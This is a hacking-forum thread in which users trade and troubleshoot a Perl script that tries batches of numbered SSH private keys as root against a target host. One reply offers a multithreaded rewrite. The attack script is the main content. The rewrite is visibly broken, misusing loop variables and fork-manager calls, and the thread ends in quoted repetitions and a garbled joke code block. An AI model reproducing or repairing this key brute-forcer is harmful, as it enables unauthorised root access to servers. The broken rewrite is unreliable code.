

Forum:[Hack Forums](#)

Thread: [ssh script not working](#)

phuqer - December 1, 2014, 6:15 pm

So when I run the following script it looks like it executes, but just goes to back to a prompt.

This is the syntax I am running:

```
perl exploiter.pl /root/server/keys 192.168.x.x
```

Any suggestions? I have a feeling the script is just exiting.

Code `#!/usr/bin/perl`

```
my $keysPerConnect = 6;
```

```
unless ($ARGV[1]) {
```

```
    print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";
```

```
    print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";
```

```
    print "By mm@deadbeef.de\n";
```

```
    exit 0;
```

```
}
```

```
chdir($ARGV[0]);
```

```
opendir(A, $ARGV[0]) || die("opendir");
```

```
while ($_ = readdir(A)) {
```

```
    chomp;
```

```
    next unless m, ^\d+$;
```

```
    push(@a, $_);
```

```
    if (scalar(@a) > $keysPerConnect) {
```

```
        system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i
```

```
        ".$_ } @a)." ".$ARGV[1]);
```

```
        @a = ();
```

```
    }
```

```
}
```

Zinedine Zidane - December 20, 2014, 10:16 am

(Dec 1, 2014 07:15 PM)phuqer Wrote: [\[CITE\]](#) So when I run the following script it looks like it executes, but just goes to back to a prompt.

This is the syntax I am running:

```
perl exploiter.pl /root/server/keys 192.168.x.x
```

Any suggestions? I have a feeling the script is just exiting.

Code `#!/usr/bin/perl`

```
my $keysPerConnect = 6;
```

```
unless ($ARGV[1]) {
```

```
    print "Syntax : ./exploiter.pl pathToSSHPrivateKeys SSHhostToTry\n";
```

```
    print "Example: ./exploiter.pl /root/keys/ 127.0.0.1\n";
```

```
    print "By mm@deadbeef.de\n";
```

```
    exit 0;
```

```
}
```

```

chdir($ARGV[0]);
opendir(A, $ARGV[0]) || die("opendir");
while ($_ = readdir(A)) {
    chomp;
    next unless m,^\d+$.;
    push(@a, $_);
    if (scalar(@a) > $keysPerConnect) {
        system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i
".$_ } @a)." ".$ARGV[1]);
        @a = ();
    }
}

```

I recoded your script using a better way

Code #! /usr/bin/perl

```

use List::Util qw(min max);
use Parallel::ForkManager;
use vars qw( $PROG );
( $PROG = $0 ) =~ s/^\.[V\\]//;
if ( @ARGV == 0 ) {
    print "Usage : ./$PROG [Private Keys] [Hosts] [Threads]\n";
    exit;
}
my $max_processes = $ARGV[2];
my $pm = Parallel::ForkManager->new($max_processes);
my $list = $ARGV[0];
my $keysPerConnect = 6;

open my $handle, '<', $list;
chomp(my @list = <$handle>);
close $handle;

for my $list (@list) {

    chomp;
    next unless m,^\d+$.;
    push(@a, $_);
    if (scalar(@a) > $keysPerConnect)
    {
        system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i ".$_ } @a)." ".$ARGV[1]);
        @a = ();
    }

    $pm->finish;

}
$pm->wait_all_children;
I don't understand this part

```

```

Code system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i ".$_ } @a)." ".$ARGV[1]);
@a = ();
Why you use this ?

```

(Dec 20, 2014 11:16 AM)Zinedine Zidane Wrote: [\[CITE\]](#) I recoded your script using a better way

Code #! /usr/bin/perl

```
use List::Util qw(min max);
use Parallel::ForkManager;
use vars qw( $PROG );
( $PROG = $0 ) =~ s/^\.[V\\]//;
if ( @ARGV == 0 ) {
    print "Usage : ./$PROG [Private Keys] [Hosts] [Threads]\n";
    exit;
}
my $max_processes = $ARGV[2];
my $pm = Parallel::ForkManager->new($max_processes);
my $list = $ARGV[0];
my $keysPerConnect = 6;

open my $handle, '<', $list;
chomp(my @list = <$handle>);
close $handle;

for my $list (@list) {

    chomp;
    next unless m,^\d+$.;
    push(@a, $_);
    if (scalar(@a) > $keysPerConnect)
    {
        system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i ".$_ } @a)." ".$ARGV[1]);
        @a = ();
    }

    $pm->finish;

}
$pm->wait_all_children;
I don't understand this part
```

```
Code system("echo ".join(" ", @a)."; ssh -l root ".join(" ", map { "-i ".$_ } @a)." ".$ARGV[1]);
@a = ();
Why you use this ?
something every perl programmer has gone through:
looks at post containing code
```

```
Code system(:$@: glr,m/e3hB>\(f\l)$#T?G==>$<<-.AFGa?j~{$dN"?R%úSOR??u?:LWMAF
./?sdtmgAWT$<LB sa/ GLRGLW /R,g4lo l/4^@<L:#%1 a.wf
I don't understand this part
```

Why you use this ?